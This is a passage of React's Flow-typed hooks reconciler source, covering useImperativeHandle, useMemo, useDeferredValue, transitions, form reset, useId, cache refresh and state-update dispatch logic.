{\n  if (typeof ref === 'function') {\n    const refCallback = ref;\n    const inst = create();\n    const refCleanup = refCallback(inst);\n    return () => {\n      if (typeof refCleanup === 'function') {\n        // $FlowFixMe[incompatible-use] we need to assume no parameters\n        refCleanup();\n      } else {\n        refCallback(null);\n      }\n    };\n  } else if (ref !== null && ref !== undefined) {\n    const refObject = ref;\n    if (__DEV__) {\n      if (!refObject.hasOwnProperty('current')) {\n        console.error(\n          'Expected useImperativeHandle() first argument to either be a ' +\n            'ref callback or React.createRef() object. Instead received: %s.',\n          'an object with keys {' + Object.keys(refObject).join(', ') + '}',\n        );\n      }\n    }\n    const inst = create();\n    refObject.current = inst;\n    return () => {\n      refObject.current = null;\n    };\n  }\n}\n\nfunction mountImperativeHandle<T>(\n  ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n  create: () => T,\n  deps: Array<mixed> | void | null,\n): void {\n  if (__DEV__) {\n    if (typeof create !== 'function') {\n      console.error(\n        'Expected useImperativeHandle() second argument to be a function ' +\n          'that creates a handle. Instead received: %s.',\n        create !== null ? typeof create : 'null',\n      );\n    }\n  }\n\n  // TODO: If deps are provided, should we skip comparing the ref itself?\n  const effectDeps =\n    deps !== null && deps !== undefined ? deps.concat([ref]) : null;\n\n  let fiberFlags: Flags = UpdateEffect | LayoutStaticEffect;\n  if (\n    __DEV__ &&\n    (currentlyRenderingFiber.mode & StrictEffectsMode) !== NoMode\n  ) {\n    fiberFlags |= MountLayoutDevEffect;\n  }\n  mountEffectImpl(\n    fiberFlags,\n    HookLayout,\n    imperativeHandleEffect.bind(null, create, ref),\n    effectDeps,\n  );\n}\n\nfunction updateImperativeHandle<T>(\n  ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n  create: () => T,\n  deps: Array<mixed> | void | null,\n): void {\n  if (__DEV__) {\n    if (typeof create !== 'function') {\n      console.error(\n        'Expected useImperativeHandle() second argument to be a function ' +\n          'that creates a handle. Instead received: %s.',\n        create !== null ? typeof create : 'null',\n      );\n    }\n  }\n\n  // TODO: If deps are provided, should we skip comparing the ref itself?\n  const effectDeps =\n    deps !== null && deps !== undefined ? deps.concat([ref]) : null;\n\n  updateEffectImpl(\n    UpdateEffect,\n    HookLayout,\n    imperativeHandleEffect.bind(null, create, ref),\n    effectDeps,\n  );\n}\n\nfunction mountDebugValue<T>(value: T, formatterFn: ?(value: T) => mixed): void {\n  // This hook is normally a no-op.\n  // The react-debug-hooks package injects its own implementation\n  // so that e.g. DevTools can display custom hook values.\n}\n\nconst updateDebugValue = mountDebugValue;\n\nfunction mountCallback<T>(callback: T, deps: Array<mixed> | void | null): T {\n  const hook = mountWorkInProgressHook();\n  const nextDeps = deps === undefined ? null : deps;\n  hook.memoizedState = [callback, nextDeps];\n  return callback;\n}\n\nfunction updateCallback<T>(callback: T, deps: Array<mixed> | void | null): T {\n  const hook = updateWorkInProgressHook();\n  const nextDeps = deps === undefined ? null : deps;\n  const prevState = hook.memoizedState;\n  if (nextDeps !== null) {\n    const prevDeps: Array<mixed> | null = prevState[1];\n    if (areHookInputsEqual(nextDeps, prevDeps)) {\n      return prevState[0];\n    }\n  }\n  hook.memoizedState = [callback, nextDeps];\n  return callback;\n}\n\nfunction mountMemo<T>(\n  nextCreate: () => T,\n  deps: Array<mixed> | void | null,\n): T {\n  const hook = mountWorkInProgressHook();\n  const nextDeps = deps === undefined ? null : deps;\n  const nextValue = nextCreate();\n  if (shouldDoubleInvokeUserFnsInHooksDEV) {\n    setIsStrictModeForDevtools(true);\n    try {\n      nextCreate();\n    } finally {\n      setIsStrictModeForDevtools(false);\n    }\n  }\n  hook.memoizedState = [nextValue, nextDeps];\n  return nextValue;\n}\n\nfunction updateMemo<T>(\n  nextCreate: () => T,\n  deps: Array<mixed> | void | null,\n): T {\n  const hook = updateWorkInProgressHook();\n  const nextDeps = deps === undefined ? null : deps;\n  const prevState = hook.memoizedState;\n  // Assume these are defined. If they're not, areHookInputsEqual will warn.\n  if (nextDeps !== null) {\n    const prevDeps: Array<mixed> | null = prevState[1];\n    if (areHookInputsEqual(nextDeps, prevDeps)) {\n      return prevState[0];\n    }\n  }\n  const nextValue = nextCreate();\n  if (shouldDoubleInvokeUserFnsInHooksDEV) {\n    setIsStrictModeForDevtools(true);\n    try {\n      nextCreate();\n    } finally {\n      setIsStrictModeForDevtools(false);\n    }\n  }\n  hook.memoizedState = [nextValue, nextDeps];\n  return nextValue;\n}\n\nfunction mountDeferredValue<T>(value: T, initialValue?: T): T {\n  const hook = mountWorkInProgressHook();\n  return mountDeferredValueImpl(hook, value, initialValue);\n}\n\nfunction updateDeferredValue<T>(value: T, initialValue?: T): T {\n  const hook = updateWorkInProgressHook();\n  const resolvedCurrentHook: Hook = (currentHook: any);\n  const prevValue: T = resolvedCurrentHook.memoizedState;\n  return updateDeferredValueImpl(hook, prevValue, value, initialValue);\n}\n\nfunction rerenderDeferredValue<T>(value: T, initialValue?: T): T {\n  const hook = updateWorkInProgressHook();\n  if (currentHook === null) {\n    // This is a rerender during a mount.\n    return mountDeferredValueImpl(hook, value, initialValue);\n  } else {\n    // This is a rerender during an update.\n    const prevValue: T = currentHook.memoizedState;\n    return updateDeferredValueImpl(hook, prevValue, value, initialValue);\n  }\n}\n\nfunction isRenderingDeferredWork(): boolean {\n  if (!includesSomeLane(renderLanes, DeferredLane)) {\n    // None of the render lanes are deferred lanes.\n    return false;\n  }\n  // At least one of the render lanes are deferred lanes. However, if the\n  // current render is also batched together with an update, then we can't\n  // say that the render is wholly the result of deferred work. We can check\n  // this by checking if the root render lanes contain any \"update\" lanes, i.e.\n  // lanes that are only assigned to updates, like setState.\n  const rootRenderLanes = getWorkInProgressRootRenderLanes();\n  return !includesSomeLane(rootRenderLanes, UpdateLanes);\n}\n\nfunction mountDeferredValueImpl<T>(hook: Hook, value: T, initialValue?: T): T {\n  if (\n    // When `initialValue` is provided, we defer the initial render even if the\n    // current render is not synchronous.\n    initialValue !== undefined &&\n    // However, to avoid waterfalls, we do not defer if this render\n    // was itself spawned by an earlier useDeferredValue. Check if DeferredLane\n    // is part of the render lanes.\n    !isRenderingDeferredWork()\n  ) {\n    // Render with the initial value\n    hook.memoizedState = initialValue;\n\n    // Schedule a deferred render to switch to the final value.\n    const deferredLane = requestDeferredLane();\n    currentlyRenderingFiber.lanes = mergeLanes(\n      currentlyRenderingFiber.lanes,\n      deferredLane,\n    );\n    markSkippedUpdateLanes(deferredLane);\n\n    return initialValue;\n  } else {\n    hook.memoizedState = value;\n    return value;\n  }\n}\n\nfunction updateDeferredValueImpl<T>(\n  hook: Hook,\n  prevValue: T,\n  value: T,\n  initialValue?: T,\n): T {\n  if (is(value, prevValue)) {\n    // The incoming value is referentially identical to the currently rendered\n    // value, so we can bail out quickly.\n    return value;\n  } else {\n    // Received a new value that's different from the current value.\n\n    // Check if we're inside a hidden tree\n    if (isCurrentTreeHidden()) {\n      // Revealing a prerendered tree is considered the same as mounting new\n      // one, so we reuse the \"mount\" path in this case.\n      const resultValue = mountDeferredValueImpl(hook, value, initialValue);\n      // Unlike during an actual mount, we need to mark this as an update if\n      // the value changed.\n      if (!is(resultValue, prevValue)) {\n        markWorkInProgressReceivedUpdate();\n      }\n      return resultValue;\n    }\n\n    const shouldDeferValue =\n      !includesOnlyNonUrgentLanes(renderLanes) && !isRenderingDeferredWork();\n    if (shouldDeferValue) {\n      // This is an urgent update. Since the value has changed, keep using the\n      // previous value and spawn a deferred render to update it later.\n\n      // Schedule a deferred render\n      const deferredLane = requestDeferredLane();\n      currentlyRenderingFiber.lanes = mergeLanes(\n        currentlyRenderingFiber.lanes,\n        deferredLane,\n      );\n      markSkippedUpdateLanes(deferredLane);\n\n      // Reuse the previous value. We do not need to mark this as an update,\n      // because we did not render a new value.\n      return prevValue;\n    } else {\n      // This is not an urgent update, so we can use the latest value regardless\n      // of what it is. No need to defer it.\n\n      // Mark this as an update to prevent the fiber from bailing out.\n      markWorkInProgressReceivedUpdate();\n      hook.memoizedState = value;\n      return value;\n    }\n  }\n}\n\nfunction releaseAsyncTransition() {\n  if (__DEV__) {\n    ReactSharedInternals.asyncTransitions--;\n  }\n}\n\nfunction startTransition<S>(\n  fiber: Fiber,\n  queue: UpdateQueue<S | Thenable<S>, BasicStateAction<S | Thenable<S>>>,\n  pendingState: S,\n  finishedState: S,\n  callback: () => mixed,\n  options?: StartTransitionOptions,\n): void {\n  const previousPriority = getCurrentUpdatePriority();\n  setCurrentUpdatePriority(\n    higherEventPriority(previousPriority, ContinuousEventPriority),\n  );\n\n  const prevTransition = ReactSharedInternals.T;\n  const currentTransition: Transition = ({}: any);\n  if (enableViewTransition) {\n    currentTransition.types =\n      prevTransition !== null\n        ? // If we're a nested transition, we should use the same set as the parent\n          // since we're conceptually always joined into the same entangled transition.\n          // In practice, this only matters if we add transition types in the inner\n          // without setting state. In that case, the inner transition can finish\n          // without waiting for the outer.\n          prevTransition.types\n        : null;\n  }\n  if (enableGestureTransition) {\n    currentTransition.gesture = null;\n  }\n  if (enableTransitionTracing) {\n    currentTransition.name =\n      options !== undefined && options.name !== undefined ? options.name : null;\n    currentTransition.startTime = now();\n  }\n  if (__DEV__) {\n    currentTransition._updatedFibers = new Set();\n  }\n\n  // We don't really need to use an optimistic update here, because we\n  // schedule a second \"revert\" update below (which we use to suspend the\n  // transition until the async action scope has finished). But we'll use an\n  // optimistic update anyway to make it less likely the behavior accidentally\n  // diverges; for example, both an optimistic update and this one should\n  // share the same lane.\n  ReactSharedInternals.T = currentTransition;\n  dispatchOptimisticSetState(fiber, false, queue, pendingState);\n\n  try {\n    const returnValue = callback();\n    const onStartTransitionFinish = ReactSharedInternals.S;\n    if (onStartTransitionFinish !== null) {\n      onStartTransitionFinish(currentTransition, returnValue);\n    }\n\n    // Check if we're inside an async action scope. If so, we'll entangle\n    // this new action with the existing scope.\n    //\n    // If we're not already inside an async action scope, and this action is\n    // async, then we'll create a new async scope.\n    //\n    // In the async case, the resulting render will suspend until the async\n    // action scope has finished.\n    if (\n      returnValue !== null &&\n      typeof returnValue === 'object' &&\n      typeof returnValue.then === 'function'\n    ) {\n      const thenable = ((returnValue: any): Thenable<mixed>);\n      if (__DEV__) {\n        // Keep track of the number of async transitions still running so we can warn.\n        ReactSharedInternals.asyncTransitions++;\n        thenable.then(releaseAsyncTransition, releaseAsyncTransition);\n      }\n      // Create a thenable that resolves to `finishedState` once the async\n      // action has completed.\n      const thenableForFinishedState = chainThenableValue(\n        thenable,\n        finishedState,\n      );\n      dispatchSetStateInternal(\n        fiber,\n        queue,\n        (thenableForFinishedState: any),\n        requestUpdateLane(fiber),\n      );\n    } else {\n      dispatchSetStateInternal(\n        fiber,\n        queue,\n        finishedState,\n        requestUpdateLane(fiber),\n      );\n    }\n  } catch (error) {\n    // This is a trick to get the `useTransition` hook to rethrow the error.\n    // When it unwraps the thenable with the `use` algorithm, the error\n    // will be thrown.\n    const rejectedThenable: RejectedThenable<S> = {\n      then() {},\n      status: 'rejected',\n      reason: error,\n    };\n    dispatchSetStateInternal(\n      fiber,\n      queue,\n      rejectedThenable,\n      requestUpdateLane(fiber),\n    );\n  } finally {\n    setCurrentUpdatePriority(previousPriority);\n\n    if (prevTransition !== null && currentTransition.types !== null) {\n      // If we created a new types set in the inner transition, we transfer it to the parent\n      // since they should share the same set. They're conceptually entangled.\n      if (__DEV__) {\n        if (\n          prevTransition.types !== null &&\n          prevTransition.types !== currentTransition.types\n        ) {\n          // Just assert that assumption holds that we're not overriding anything.\n          console.error(\n            'We expected inner Transitions to have transferred the outer types set and ' +\n              'that you cannot add to the outer Transition while inside the inner.' +\n              'This is a bug in React.',\n          );\n        }\n      }\n      prevTransition.types = currentTransition.types;\n    }\n    ReactSharedInternals.T = prevTransition;\n\n    if (__DEV__) {\n      if (prevTransition === null && currentTransition._updatedFibers) {\n        const updatedFibersCount = currentTransition._updatedFibers.size;\n        currentTransition._updatedFibers.clear();\n        if (updatedFibersCount > 10) {\n          console.warn(\n            'Detected a large number of updates inside startTransition. ' +\n              'If this is due to a subscription please re-write it to use React provided hooks. ' +\n              'Otherwise concurrent mode guarantees are off the table.',\n          );\n        }\n      }\n    }\n  }\n}\n\nconst noop = () => {};\n\nexport function startHostTransition<F>(\n  formFiber: Fiber,\n  pendingState: TransitionStatus,\n  action: (F => mixed) | null,\n  formData: F,\n): void {\n  if (formFiber.tag !== HostComponent) {\n    throw new Error(\n      'Expected the form instance to be a HostComponent. This ' +\n        'is a bug in React.',\n    );\n  }\n\n  const stateHook = ensureFormComponentIsStateful(formFiber);\n\n  const queue: UpdateQueue<\n    Thenable<TransitionStatus> | TransitionStatus,\n    BasicStateAction<Thenable<TransitionStatus> | TransitionStatus>,\n  > = stateHook.queue;\n\n  startHostActionTimer(formFiber);\n\n  startTransition(\n    formFiber,\n    queue,\n    pendingState,\n    NoPendingHostTransition,\n    // TODO: `startTransition` both sets the pending state and dispatches\n    // the action, if one is provided. Consider refactoring these two\n    // concerns to avoid the extra lambda.\n\n    action === null\n      ? // No action was provided, but we still call `startTransition` to\n        // set the pending form status.\n        noop\n      : () => {\n          // Automatically reset the form when the action completes.\n          requestFormReset(formFiber);\n          return action(formData);\n        },\n  );\n}\n\nfunction ensureFormComponentIsStateful(formFiber: Fiber) {\n  const existingStateHook: Hook | null = formFiber.memoizedState;\n  if (existingStateHook !== null) {\n    // This fiber was already upgraded to be stateful.\n    return existingStateHook;\n  }\n\n  // Upgrade this host component fiber to be stateful. We're going to pretend\n  // it was stateful all along so we can reuse most of the implementation\n  // for function components and useTransition.\n  //\n  // Create the state hook used by TransitionAwareHostComponent. This is\n  // essentially an inlined version of mountState.\n  const newQueue: UpdateQueue<\n    Thenable<TransitionStatus> | TransitionStatus,\n    BasicStateAction<Thenable<TransitionStatus> | TransitionStatus>,\n  > = {\n    pending: null,\n    lanes: NoLanes,\n    // We're going to cheat and intentionally not create a bound dispatch\n    // method, because we can call it directly in startTransition.\n    dispatch: (null: any),\n    lastRenderedReducer: basicStateReducer,\n    lastRenderedState: NoPendingHostTransition,\n  };\n\n  const stateHook: Hook = {\n    memoizedState: NoPendingHostTransition,\n    baseState: NoPendingHostTransition,\n    baseQueue: null,\n    queue: newQueue,\n    next: null,\n  };\n\n  // We use another state hook to track whether the form needs to be reset.\n  // The state is an empty object. To trigger a reset, we update the state\n  // to a new object. Then during rendering, we detect that the state has\n  // changed and schedule a commit effect.\n  const initialResetState = {};\n  const newResetStateQueue: UpdateQueue<Object, Object> = {\n    pending: null,\n    lanes: NoLanes,\n    // We're going to cheat and intentionally not create a bound dispatch\n    // method, because we can call it directly in startTransition.\n    dispatch: (null: any),\n    lastRenderedReducer: basicStateReducer,\n    lastRenderedState: initialResetState,\n  };\n  const resetStateHook: Hook = {\n    memoizedState: initialResetState,\n    baseState: initialResetState,\n    baseQueue: null,\n    queue: newResetStateQueue,\n    next: null,\n  };\n  stateHook.next = resetStateHook;\n\n  // Add the hook list to both fiber alternates. The idea is that the fiber\n  // had this hook all along.\n  formFiber.memoizedState = stateHook;\n  const alternate = formFiber.alternate;\n  if (alternate !== null) {\n    alternate.memoizedState = stateHook;\n  }\n\n  return stateHook;\n}\n\nexport function requestFormReset(formFiber: Fiber) {\n  const transition = requestCurrentTransition();\n\n  if (transition === null) {\n    if (__DEV__) {\n      // An optimistic update occurred, but startTransition is not on the stack.\n      // The form reset will be scheduled at default (sync) priority, which\n      // is probably not what the user intended. Most likely because the\n      // requestFormReset call happened after an `await`.\n      // TODO: Theoretically, requestFormReset is still useful even for\n      // non-transition updates because it allows you to update defaultValue\n      // synchronously and then wait to reset until after the update commits.\n      // I've chosen to warn anyway because it's more likely the `await` mistake\n      // described above. But arguably we shouldn't.\n      console.error(\n        'requestFormReset was called outside a transition or action. To ' +\n          'fix, move to an action, or wrap with startTransition.',\n      );\n    }\n  } else if (enableGestureTransition && transition.gesture) {\n    throw new Error(\n      'Cannot requestFormReset() inside a startGestureTransition. ' +\n        'There should be no side-effects associated with starting a ' +\n        'Gesture until its Action is invoked. Move side-effects to the ' +\n        'Action instead.',\n    );\n  }\n\n  let stateHook: Hook = ensureFormComponentIsStateful(formFiber);\n  const newResetState = {};\n  if (stateHook.next === null) {\n    // Hack alert. If formFiber is the workInProgress Fiber then\n    // we might get a broken intermediate state. Try the alternate\n    // instead.\n    // TODO: We should really stash the Queue somewhere stateful\n    // just like how setState binds the Queue.\n    stateHook = (formFiber.alternate: any).memoizedState;\n  }\n  const resetStateHook: Hook = (stateHook.next: any);\n  const resetStateQueue = resetStateHook.queue;\n  dispatchSetStateInternal(\n    formFiber,\n    resetStateQueue,\n    newResetState,\n    requestUpdateLane(formFiber),\n  );\n}\n\nfunction mountTransition(): [\n  boolean,\n  (callback: () => void, options?: StartTransitionOptions) => void,\n] {\n  const stateHook = mountStateImpl((false: Thenable<boolean> | boolean));\n  // The `start` method never changes.\n  const start = startTransition.bind(\n    null,\n    currentlyRenderingFiber,\n    stateHook.queue,\n    true,\n    false,\n  );\n  const hook = mountWorkInProgressHook();\n  hook.memoizedState = start;\n  return [false, start];\n}\n\nfunction updateTransition(): [\n  boolean,\n  (callback: () => void, options?: StartTransitionOptions) => void,\n] {\n  const [booleanOrThenable] = updateState(false);\n  const hook = updateWorkInProgressHook();\n  const start = hook.memoizedState;\n  const isPending =\n    typeof booleanOrThenable === 'boolean'\n      ? booleanOrThenable\n      : // This will suspend until the async action scope has finished.\n        useThenable(booleanOrThenable);\n  return [isPending, start];\n}\n\nfunction rerenderTransition(): [\n  boolean,\n  (callback: () => void, options?: StartTransitionOptions) => void,\n] {\n  const [booleanOrThenable] = rerenderState(false);\n  const hook = updateWorkInProgressHook();\n  const start = hook.memoizedState;\n  const isPending =\n    typeof booleanOrThenable === 'boolean'\n      ? booleanOrThenable\n      : // This will suspend until the async action scope has finished.\n        useThenable(booleanOrThenable);\n  return [isPending, start];\n}\n\nfunction useHostTransitionStatus(): TransitionStatus {\n  return readContext(HostTransitionContext);\n}\n\nfunction mountId(): string {\n  const hook = mountWorkInProgressHook();\n\n  const root = ((getWorkInProgressRoot(): any): FiberRoot);\n  // TODO: In Fizz, id generation is specific to each server config. Maybe we\n  // should do this in Fiber, too? Deferring this decision for now because\n  // there's no other place to store the prefix except for an internal field on\n  // the public createRoot object, which the fiber tree does not currently have\n  // a reference to.\n  const identifierPrefix = root.identifierPrefix;\n\n  let id;\n  if (getIsHydrating()) {\n    const treeId = getTreeId();\n\n    // Use a captial R prefix for server-generated ids.\n    id = '_' + identifierPrefix + 'R_' + treeId;\n\n    // Unless this is the first id at this level, append a number at the end\n    // that represents the position of this useId hook among all the useId\n    // hooks for this fiber.\n    const localId = localIdCounter++;\n    if (localId > 0) {\n      id += 'H' + localId.toString(32);\n    }\n\n    id += '_';\n  } else {\n    // Use a lowercase r prefix for client-generated ids.\n    const globalClientId = globalClientIdCounter++;\n    id = '_' + identifierPrefix + 'r_' + globalClientId.toString(32) + '_';\n  }\n\n  hook.memoizedState = id;\n  return id;\n}\n\nfunction updateId(): string {\n  const hook = updateWorkInProgressHook();\n  const id: string = hook.memoizedState;\n  return id;\n}\n\nfunction mountRefresh(): any {\n  const hook = mountWorkInProgressHook();\n  const refresh = (hook.memoizedState = refreshCache.bind(\n    null,\n    currentlyRenderingFiber,\n  ));\n  return refresh;\n}\n\nfunction updateRefresh(): any {\n  const hook = updateWorkInProgressHook();\n  return hook.memoizedState;\n}\n\nfunction refreshCache<T>(fiber: Fiber, seedKey: ?() => T, seedValue: T): void {\n  // TODO: Does Cache work in legacy mode? Should decide and write a test.\n  // TODO: Consider warning if the refresh is at discrete priority, or if we\n  // otherwise suspect that it wasn't batched properly.\n  let provider = fiber.return;\n  while (provider !== null) {\n    switch (provider.tag) {\n      case CacheComponent:\n      case HostRoot: {\n        // Schedule an update on the cache boundary to trigger a refresh.\n        const lane = requestUpdateLane(provider);\n        const refreshUpdate = createLegacyQueueUpdate(lane);\n        const root = enqueueLegacyQueueUpdate(provider, refreshUpdate, lane);\n        if (root !== null) {\n          startUpdateTimerByLane(lane, 'refresh()', fiber);\n          scheduleUpdateOnFiber(root, provider, lane);\n          entangleLegacyQueueTransitions(root, provider, lane);\n        }\n\n        // TODO: If a refresh never commits, the new cache created here must be\n        // released. A simple case is start refreshing a cache boundary, but then\n        // unmount that boundary before the refresh completes.\n        const seededCache = createCache();\n        if (seedKey !== null && seedKey !== undefined && root !== null) {\n          if (enableLegacyCache) {\n            // Seed the cache with the value passed by the caller. This could be\n            // from a server mutation, or it could be a streaming response.\n            seededCache.data.set(seedKey, seedValue);\n          } else {\n            if (__DEV__) {\n              console.error(\n                'The seed argument is not enabled outside experimental channels.',\n              );\n            }\n          }\n        }\n\n        const payload = {\n          cache: seededCache,\n        };\n        refreshUpdate.payload = payload;\n        return;\n      }\n    }\n    provider = provider.return;\n  }\n  // TODO: Warn if unmounted?\n}\n\nfunction dispatchReducerAction<S, A>(\n  fiber: Fiber,\n  queue: UpdateQueue<S, A>,\n  action: A,\n): void {\n  if (__DEV__) {\n    // using a reference to `arguments` bails out of GCC optimizations which affect function arity\n    const args = arguments;\n    if (typeof args[3] === 'function') {\n      console.error(\n        \"State updates from the useState() and useReducer() Hooks don't support the \" +\n          'second callback argument. To execute a side effect after ' +\n          'rendering, declare it in the component body with useEffect().',\n      );\n    }\n  }\n\n  const lane = requestUpdateLane(fiber);\n\n  const update: Update<S, A> = {\n    lane,\n    revertLane: NoLane,\n    gesture: null,\n    action,\n    hasEagerState: false,\n    eagerState: null,\n    next: (null: any),\n  };\n\n  if (isRenderPhaseUpdate(fiber)) {\n    enqueueRenderPhaseUpdate(queue, update);\n  } else {\n    const root = enqueueConcurrentHookUpdate(fiber, queue, update, lane);\n    if (root !== null) {\n      startUpdateTimerByLane(lane, 'dispatch()', fiber);\n      scheduleUpdateOnFiber(root, fiber, lane);\n      entangleTransitionUpdate(root, queue, lane);\n    }\n  }\n\n  markUpdateInDevTools(fiber, lane, action);\n}\n\nfunction dispatchSetState<S, A>(\n  fiber: Fiber,\n  queue: UpdateQueue<S, A>,\n  action: A,\n): void {\n  if (__DEV__) {\n    // using a reference to `arguments` bails out of GCC optimizations which affect function arity\n    const args = arguments;\n    if (typeof args[3] === 'function') {\n      console.error(\n        \"State updates from the useState() and useReducer() Hooks don't support the \" +\n          'second callback argument. To execute a side effect after ' +\n          'rendering, declare it in the component body with useEffect().',\n      );\n    }\n  }\n\n  const lane = requestUpdateLane(fiber);\n  const didScheduleUpdate = dispatchSetStateInternal(\n    fiber,\n    queue,\n    action,\n    lane,\n  );\n  if (didScheduleUpdate) {\n    startUpdateTimerByLane(lane, 'setState()', fiber);\n  }\n  markUpdateInDevTools(fiber, lane, action);\n}\n\nfunction dispatchSetStateInternal<S, A>(\n  fiber: Fiber,\n  queue: UpdateQueue<S, A>,\n  action: A,\n  lane: Lane,\n): boolean {\n  const update: Update<S, A> = {\n    lane,\n    revertLane: NoLane,\n    gesture: null,\n    action,\n    hasEagerState: false,\n    eagerState: null,\n    next: (null: any),\n  };\n\n  if (isRenderPhaseUpdate(fiber)) {\n    enqueueRenderPhaseUpdate(queue, update);\n  } else {\n    const alternate = fiber.alternate;\n    if (\n      fiber.lanes === NoLanes &&\n      (alternate === null || alternate.lanes === NoLanes)\n    ) {\n      // The queue is currently empty, which means we can eagerly compute the\n      // next state before entering the render phase. If the new state is the\n      // same as the current state, we may be able to bail out entirely.\n      const lastRenderedReducer = queue.lastRenderedReducer;\n      if (lastRenderedReducer !== null) {\n        let prevDispatcher = null;\n        if (__DEV__) {\n          prevDispatcher = ReactSharedInternals.H;\n          ReactSharedInternals.H = InvalidNestedHooksDispatcherOnUpdateInDEV;\n        }\n        try {\n          const currentState: S = (queue.lastRenderedState: any);\n          const eagerState = lastRenderedReducer(currentState, action);\n          // Stash the eagerly computed state, and the reducer used to compute\n          // it, on the update object. If the reducer hasn't changed by the\n          // time we enter the render phase, then the eager state can be used\n          // without calling the reducer again.\n          update.hasEagerState = true;\n          update.eagerState = eagerState;\n          if (is(eagerState, currentState)) {\n            // Fast path. We can bail out without scheduling React to re-render.\n            // It's still possible that we'll need to rebase this update later,\n            // if the component re-renders for a different reason and by that\n            // time the reducer has changed.\n            // TODO: Do we still need to entangle transitions in this case?\n            enqueueConcurrentHookUpdateAndEagerlyBailout(fiber, queue, update);\n            return false;\n          }\n        } catch (error) {\n          // Suppress the error. It will throw again in the render phase.\n        } finally {\n          if (__DEV__) {\n            ReactSharedInternals.H = prevDispatcher;\n          }\n        }\n      }\n    }\n\n    const root = enqueueConcurrentHookUpdate(fiber, queue, update, lane);\n    if (root !== null) {\n      scheduleUpdateOnFiber(root, fiber, lane);\n      entangleTransitionUpdate(root, queue, lane);\n      return true;\n    }\n  }\n  return false;\n}\n\nfunction dispatchOptimisticSetState<S, A>(\n  fiber: Fiber,\n  throwIfDuringRender: boolean,\n  queue: UpdateQueue<S, A>,\n  action: A,\n): void {\n  const transition = requestCurrentTransition();\n\n  if (__DEV__) {\n    if (transition === null) {\n      // An optimistic update occurred, but startTransition is not on the stack.\n      // There are two likely scenarios.\n\n      // One possibility is that the optimistic update is triggered by a regular\n      // event handler (e.g. `onSubmit`) instead of an action. This is a mistake\n      // and we will warn.\n\n      // The other possibility is the optimistic update is inside an async\n      // action, but after an `await`. In this case, we can make it \"just work\"\n      // by associating the optimistic update with the pending async action.\n\n      // Technically it's possible that the optimistic update is unrelated to\n      // the pending action, but we don't have a way of knowing this for sure\n      // because browsers currently do not provide a way to track async scope.\n      // (The AsyncContext proposal, if it lands, will solve this in the\n      // future.) However, this is no different than the problem of unrelated\n      // transitions being grouped together — it's not wrong per se, but it's\n      // not ideal.\n\n      // Once AsyncContext starts landing in browsers, we will provide better\n      // warnings in development for these cases.\n      if (peekEntangledActionLane() !== NoLane) {\n        // There is a pending async action. Don't warn.\n      } else {\n        // There's no pending async action. The most likely cause is that we're\n        // inside a regular event handler (e.g. onSubmit) instead of an action.\n        console.error(\n          'An optimistic state update occurred outside a transition or ' +\n            'action. To fix, move the update to an action, or wrap ' +\n            'with startTransition.',\n        );\n      }\n    }\n  }\n\n  // For regular Transitions an optimistic update commits synchronously.\n  // For gesture Transitions an optimistic update commits on the GestureLane.\n  const lane =\n    enableGestureTransition && transition !== null && transition.gesture\n      ? GestureLane\n      : SyncLane;\n  const update: Update<S, A> = {\n    lane: lane,\n    // After committing, the optimistic update is \"reverted\" using the same\n    // lane as the transition it's associated with.\n    revertLane: requestTransitionLane(transition),\n    gesture: null,\n    action,\n    hasEagerState: false,\n    eagerState: null,\n    next: (null: any),\n  };\n\n  if (isRenderPhaseUpdate(fiber)) {\n    // When calling startTransition during render, this warns instead of\n    // throwing because throwing would be a breaking change. setOptimisticState\n    // is a new API so it's OK to throw.\n    if (throwIfDuringRender) {\n      throw new Error('Cannot update optimistic state while rendering.');\n    } else {\n      // startTransition was called during render. We don't need to do anything\n      // besides warn here because the render phase update would be overidden by\n      // the second update, anyway. We can remove this branch and make it throw\n      // in a future release.\n      if (__DEV__) {\n        console.error('Cannot call startTransition while rendering.');\n      }\n    }\n  } else {\n    const root = enqueueConcurrentHookUpdate(fiber, queue, update, lane);\n    if (root !== null) {\n      // NOTE: The optimistic update implementation assumes that the transition\n      // will never be attempted before the optimistic update. This currently\n      // holds because the optimistic update is always synchronous. If we ever\n      // change that, we'll need to account for this.\n      startUpdateTimerByLane(lane, 'setOptimistic()', fiber);\n      scheduleUpdateOnFiber(root, fiber, lane);\n      // Optimistic updates are always synchronous, so we don't need to call\n      // entangleTransitionUpdate here.\n      if (enableGestureTransition && transition !== null) {\n        const provider = transition.gesture;\n        if (provider !== null) {\n          // If this was a gesture, ensure we have a scheduled gesture and that\n          // we associate this update with this specific gesture instance.\n          const gesture = (update.gesture = scheduleGesture(root, provider));\n          // Ensure the gesture always uses the same revert lane. This can happen for\n          // two startGestureTransition calls to the same provider in different events.\n          if (gesture.revertLane === NoLane) {\n            gesture.revertLane = update.revertLane;\n          } else {\n            update.revertLane = gesture.revertLane;\n          }\n        }\n      }\n    }\n  }\n\n  markUpdateInDevTools(fiber, lane, action);\n}\n\nfunction isRenderPhaseUpdate(fiber: Fiber): boolean {\n  const alternate = fiber.alternate;\n  return (\n    fiber === currentlyRenderingFiber ||\n    (alternate !== null && alternate === currentlyRenderingFiber)\n  );\n}\n\nfunction enqueueRenderPhaseUpdate<S, A>(\n  queue: UpdateQueue<S, A>,\n  update: Update<S, A>,\n): void {\n  // This is a render phase update. Stash it in a lazily-created map of\n  // queue -> linked list of updates. After this render pass, we'll restart\n  // and apply the stashed updates on top of the work-in-progress hook.\n  didScheduleRenderPhaseUpdateDuringThisPass = didScheduleRenderPhaseUpdate =\n    true;\n  const pending = queue.pending;\n  if (pending === null) {\n    // This is the first update. Create a circular list.\n    update.next = update;\n  } else {\n    update.next = pending.next;\n    pending.next = update;\n  }\n  queue.pending = update;\n}\n\n// TODO: Move to ReactFiberConcurrentUpdates?\nfunction entangleTransitionUpdate<S, A>(\n  root: FiberRoot,\n  queue: UpdateQueue<S, A>,\n  lane: Lane,\n): void {\n  if (isTransitionLane(lane)) {\n    let queueLanes = queue.lanes;\n\n    // If any entangled lanes are no longer pending on the root, then they\n    // must have finished. We can remove them from the shared queue, which\n    // represents a superset of the actually pending lanes. In some cases we\n    // may entangle more than we need to, but that's OK. In fact it's worse if\n    // we *don't* entangle when we should.\n    queueLanes = intersectLanes(queueLanes, root.pendingLanes);\n\n    // Entangle the new transition lane with the other transition lanes.\n    const newQueueLanes = mergeLanes(queueLanes, lane);\n    queue.lanes = newQueueLanes;\n    // Even if queue.lanes already include lane, we don't know for certain if\n    // the lane finished since the last time we entangled it. So we need to\n    // 